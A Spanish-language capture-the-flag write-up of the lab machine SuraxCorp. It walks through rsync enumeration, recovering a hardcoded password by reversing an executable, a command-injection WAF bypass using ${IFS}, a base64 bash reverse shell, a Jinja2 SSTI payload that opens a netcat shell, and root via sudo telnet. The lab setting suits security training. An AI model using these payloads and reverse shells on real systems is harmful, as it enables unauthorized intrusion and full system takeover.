Skip to content
Mnohh022
Go back

SuraxCorp

logo

Table of contents

Open Table of contents

Enumeración

La máquina SuraxCorp tiene la ip 10.0.2.64

Descubrimiento de Puertos

Vamos a empezar enumerando todos los puertos abiertos de la máquina, así como los servicios y las versiones que se están ejecutando en ellos mediante la herramienta nmap.

nmap -sS -p- --open -sCV --min-rate 5000 -n -Pn 10.0.2.64

Nmap scan report for 10.0.2.64
Host is up (0.00021s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.67 ((Debian))
|_http-server-header: Apache/2.4.67 (Debian)
|_http-title: Apache2 Debian Default Page: It works

Puerto 80 (Web)

Accedemos a la ip de la máquina con el navegador y nos encontramos con la página por defecto de Apache. Tras realizar diferentes enumeraciones no encontramos nada.

IPv6

Vamos a tratar de obtener la dirección IPv6 de la máquina. Para ello, enviamos una petición ICMPv6 a la dirección multicast de enlace local ff02::1 (que agrupa a todos los nodos de la red) a través de la interfaz eth1, que es en la que se encuentra la máquina.

ping6 -c 1 "ff02::1%eth1"
PING ff02::1%eth1 (ff02::1%eth1) 56 data bytes
64 bytes from fe80::3618:9302:5d98:e163%eth1: icmp_seq=1 ttl=64 time=0.077 ms
--- ff02::1%eth1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.077/0.077/0.077/0.000 ms

La dirección IPv6 que nos reporta ping6 posiblemente corresponda a nuestra máquina. Para obtener la IPv6 de la máquina víctima, consultamos la tabla de vecinos de IPv6 (el equivalente a la tabla ARP en IPv4) en nuestra interfaz eth1.

ip -6 neighbor
fe80::b46f:c43b:2931:a528 dev eth1 lladdr 08:00:27:52:a7:bf REACHABLE

Podemos observar la dirección IPv6 fe80::b46f:c43b:2931:a528.

Ya tenemos la IPv6 de la máquina, ahora vamos a emplear nmap con ella para ver si nos reporta algún puerto diferente. Tenemos que añadir al final de la ip la interface %eth1.

nmap -6 -sS -p- --open --min-rate 5000 -n -Pn "fe80::b46f:c43b:2931:a528%eth1"
 
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-04 03:15 -0400
Nmap scan report for fe80::b46f:c43b:2931:a528
Host is up (0.00015s latency).
Not shown: 65532 closed tcp ports (reset)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
873/tcp open  rsync

Vemos el puerto 873 (rsync) abierto.

Puerto 873 (Rsync)

Rsync es una herramienta que se utiliza para copiar y sincronizar archivos y directorios entre dos sistemas, ya sea en local o remoto.

Vamos a emplear la herramienta rsync-brute para tratar de encontrar algún módulo en este servicio, empleando como wordlist el common.txt

./rsync-brute -t [fe80::b46f:c43b:2931:a528%eth1] -p 873 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
  _ __ ___ _   _ _ __   ___ 
 | '__/ __| | | | '_ \ / __|
 | |  \__ \ |_| | | | | (__ 
 |_|  |___/\__, |_| |_|\___|
  _         |___/  _
 | |__  _ __ _   _| |_ ___  
 | '_ \| '__| | | | __/ _ \ 
 | |_) | |  | |_| | ||  __/ 
 |_.__/|_|   \__,_|\__\___| 
────────────────────────────
 code: VulNyx™  ver: v1.0.0
────────────────────────────
 🎯 Target   | [fe80::b46f:c43b:2931:a528%eth1]:873
 📖 Wordlist | /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
 🔎 Status   | 800/4751/16%/backup
 💥 Resource | backup
────────────────────────────

Encontramos el módulo backup, así que listamos su contenido.

rsync -av --list-only rsync://[fe80::b46f:c43b:2931:a528%eth1]/backup
receiving incremental file list
drwxrwxrwx          4,096 2026/06/29 08:50:06 .
-rw-r--r--            497 2026/06/29 08:50:06 secure-suracorp.thl.conf

sent 20 bytes  received 84 bytes  208.00 bytes/sec
total size is 497  speedup is 4.78

Tenemos un archivo de configuración secure-suracorp.thl.conf que nos descargamos a nuestro equipo.

rsync -avz rsync://[fe80::b46f:c43b:2931:a528%eth1]/backup/secure-suracorp.thl.conf .
cat secure-suracorp.thl.conf
<VirtualHost *:80>
    ServerName secure-suraxcorp.thl
    ServerAlias wwww.secure-suraxcorp.thl
    ServerAdmin webmaster@secure-suraxcorp.thl
    DocumentRoot /var/www/secure-suracorp.thl/

    <Directory /var/www/secure-suracorp.thl/>
        Options Indexes FollowSymLinks
        AllowOverride All
        Require all granted
    </Directory>

    ErrorLog ${APACHE_LOG_DIR}/secure-suracorp.thl_error.log
    CustomLog ${APACHE_LOG_DIR}/secure-suracorp.thl_access.log combined
</VirtualHost>

Explotación

Admin Panel

Se trata de un archivo de configuración de apache en el que vemos el dominio secure-suraxcorp.thl, por lo que lo agregamos junto a la ip al /etc/hosts y accedemos a él con el navegador.

echo '10.0.2.64 secure-suraxcorp.thl'| sudo tee -a /etc/hosts

Tenemos un panel de login pero no disponemos de credenciales.

login-1

Vamos a tratar de entrar como el usuario admin y sin proporcionar contraseña. Para ello, debemos de eliminar el atributo required de la etiqueta input de la password.

Accedemos al apartado Inspector de las Opciones de Desarrollador y lo eliminamos.

required-password

Una vez hecho, entramos como admin y sin proporcionar contraseña.

Reversering

Entramos a un dashboard que nos ofrece la opción de descargar un ejecutable para Linux o Windows, nos descargamos la versión de Linux.

surapharm

Se trata de un archivo .deb, es decir, un instalador para Linux.

Vamos a extraer su contenido empleando 7z y posteriormente, extraer el contenido del archivo resultante con tar.

7z e surapharm.deb
tar -xf data.tar

Esto nos genera un directorio /usr/bin/ donde encontramos el ejecutable surapharm.

Si lo ejecutamos nos aparece el usuario pharmacist y nos pide unas credenciales que no tenemos, así que vamos a aplicar reversering con ghidra para ver el código del ejecutable.

ghidra-password

ghidra-domain

Encontramos la contraseña Suraph@rm2024! y también una parte de un dominio adminis- al que se le realiza una petición http por GET.

Para averiguar este domino nos vamos a poner en escucha con tcpdump en la interface de red eth0.

Nota: Aunque tengamos la máquina en la eth1 tenemos que ver el tráfico de la eth0, ya que el ejecutable está diseñado para usar esa interface.

Ahora ejecutamos el surapharm, ingresamos con las credenciales pharmacist:Suraph@rm2024! y probamos las opciones de la aplicación.

sudo tcpdump -i eth0

...
10:56:01 IP 192.168.0.11.53432 > 192.168.0.1:  adminis-surapharm.suraxcorp.thl.
...

Obtenemos un nuevo subdominio que añadimos al /etc/hosts y accedemos a él con el navegador.

echo '10.0.2.64 adminis-surapharm.suraxcorp.thl' | sudo tee -a /etc/hosts

Tenemos un nuevo panel de login.

login-2

Ingresamos a él con las credenciales anteriores, pharmacist:Suraph@rm2024!

Command Injection

Nos encontramos otro dashboard pero ahora disponemos de un input que envía trazas icmp con ping a la ip que especifiquemos, si tratamos de enviar una ip y pipearle un comando recibimos la respuesta de un WAF.

10.0.2.61|id

WAF

Este Web Application Firewall (WAF) filtra aquellas peticiones que poseen un comando, espacios y punto y coma (;), por lo que vamos a tratar de bypasearlo para listar todo el contenido de su directorio.

Entre los caracteres del comando introducimos una barra invertida (\) y para separar el comando de sus parámetros empleamos la variable de entorno IFS.

El comando queda de la siguiente forma:

10.0.2.61|l\s${IFS}-la

bypass-WAF

Tenemos un Remote Code Ejecution (RCE), así que vamos a enviarnos una reverse shell.

Primero, creamos una cadena en base64 que contenga nuestra reverse shell.

echo 'bash -i >& /dev/tcp/10.0.2.61/4444 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjIuNjEvNDQ0NCAwPiYxCg==

Nos ponemos en escucha con netcat.

nc -nlvp 4444

Y enviamos la cadena en base64 para que se decodifique y se ejecute por bash, todo ello con el formato anteriormente mencionado para bypassear el WAF.

10.0.2.64|e\cho${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjIuNjEvNDQ0NCAwPiYxCg==|b\ase64${IFS}-d|b\ash

Entramos como www-data

Movimiento Lateral

Suraxddq

Si listamos los procesos que se están ejecutando vemos que el usuario suraxddq está ejecutando una app en python que se encuentra en un directorio llamado ssti, pista sobre la vulnerabilidad a explotar.

www-data@TheHackersLabs-SuraxCorp:/var/www/adminis-surapharm$ ps -faux 
suraxddq     804  0.0  2.8  42684 34792 ?        Ss   15:19   0:00 /usr/bin/python3 /home/suraxddq/ssti/app.py

Revisando los puertos abiertos vemos que el puerto 5000 está abierto de forma local, lo que nos da a entender que la app de python se está ejecutando en ese puerto.

www-data@TheHackersLabs-SuraxCorp:/var/www/adminis-surapharm$ ss -nltp
State             Recv-Q            Send-Q                        Local Address:Port                         Peer Address:Port            Process            
LISTEN            0                 128                               127.0.0.1:5000                              0.0.0.0:*                                  

Vamos a aplicar Port Forwarding empleando socat para abrir el puerto 4000 de la máquina y redirigir todo el tráfico entrante hacia el servicio interno que corre en el puerto 5000. De esta forma, podremos acceder a la app de python a través del puerto 4000 de la máquina.

Pasamos socat a la máquina y ejecutamos:

./socat tcp-listen:4000,fork tcp:127.0.0.1:5000 &

Accedemos con el navegador al puerto 4000 de la máquina y vemos el contenido de la app.

internal-web

Para poder habilitar el Server Side Template Injection (SSTI) debemos de hacer click en SuraxCorp Event para que cambie su texto a Disable STTI.

Una vez hecho, introducimos operaciones matemáticas de la forma {{2*2}} o {{4*4}} en los diferentes inputs. Sí la operación matemática se realiza en alguno de ellos, ese input es vulnerable.

El input Description es el vulnerable.

ssti

Nos enviamos una nueva reverse shell.

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('nc 10.0.2.61 5555 -e /bin/bash').read() }}

stti-2

Volvemos a entrar al server pero ahora como el usuario suraxddq.

suraxddq@TheHackersLabs-SuraxCorp:~$ ls -la
total 76
drwx------ 13 suraxddq suraxddq 4096 Jul 17 14:35 .
drwxr-xr-x  3 root     root     4096 Jun 21 11:03 ..
lrwxrwxrwx  1 suraxddq suraxddq    9 Jul 17 14:35 .bash_history -> /dev/null
-rw-r--r--  1 suraxddq suraxddq  220 Jun 21 11:03 .bash_logout
-rw-r--r--  1 suraxddq suraxddq 3526 Jun 21 11:03 .bashrc
drwx------  8 suraxddq suraxddq 4096 Jul 17 14:41 .cache
drwxr-xr-x  2 suraxddq suraxddq 4096 Jun 21 11:20 Desktop
drwxr-xr-x  2 suraxddq suraxddq 4096 Jun 21 11:20 Documents
drwxr-xr-x  2 suraxddq suraxddq 4096 Jun 21 11:20 Downloads
-rw-r--r--  1 suraxddq suraxddq 5290 Jun 21 11:03 .face
lrwxrwxrwx  1 suraxddq suraxddq    5 Jun 21 11:03 .face.icon -> .face
drwx------  7 suraxddq suraxddq 4096 Jun 30 11:18 .local
drwxr-xr-x  2 suraxddq suraxddq 4096 Jun 21 11:20 Music
drwxr-xr-x  2 suraxddq suraxddq 4096 Jun 21 11:20 Pictures
-rw-r--r--  1 suraxddq suraxddq  807 Jun 21 11:03 .profile
drwxr-xr-x  2 suraxddq suraxddq 4096 Jun 21 11:20 Public
drwxrwxr-x  4 suraxddq suraxddq 4096 Jun 30 17:50 ssti
-rw-r--r--  1 suraxddq suraxddq    0 Jun 30 18:14 .sudo_as_admin_successful
drwxr-xr-x  2 suraxddq suraxddq 4096 Jun 21 11:20 Templates
-rw-rw-r--  1 suraxddq suraxddq   38 Jun 30 18:33 user.txt
drwxr-xr-x  2 suraxddq suraxddq 4096 Jun 21 11:20 Videos

Escalada de Privilegios

Root

Revisando los permisos sudoers de nuestro usuario vemos que podemos ejecutar como root sin proporcionar contraseña telnet, por lo que vamos a abusar de ello para convertirnos en root.

suraxddq@TheHackersLabs-SuraxCorp:~$ sudo /usr/bin/telnet 
telnet> !/bin/bash

root@TheHackersLabs-SuraxCorp:/home/suraxddq# id
uid=0(root) gid=0(root) groups=0(root)
root@TheHackersLabs-SuraxCorp:/home/suraxddq# ls -la /root
total 40
drwx------  5 root root 4096 Jul 17 14:34 .
drwxr-xr-x 19 root root 4096 Jul 20 16:53 ..
lrwxrwxrwx  1 root root    9 Jul 17 14:34 .bash_history -> /dev/null
-rw-r--r--  1 root root  607 May  8 17:10 .bashrc
drwx------  2 root root 4096 Jun 21 11:06 .cache
drwx------  3 root root 4096 Jun 21 11:34 .local
-rw-r--r--  1 root root  132 May  8 17:10 .profile
-rw-r--r--  1 root root   38 Jun 30 18:32 root.txt
drwx------  2 root root 4096 Jun 21 10:23 .ssh
-r-xr-xr-x  1 root root 7048 Jun 21 11:03 vboxpostinstall.sh

Share this post on: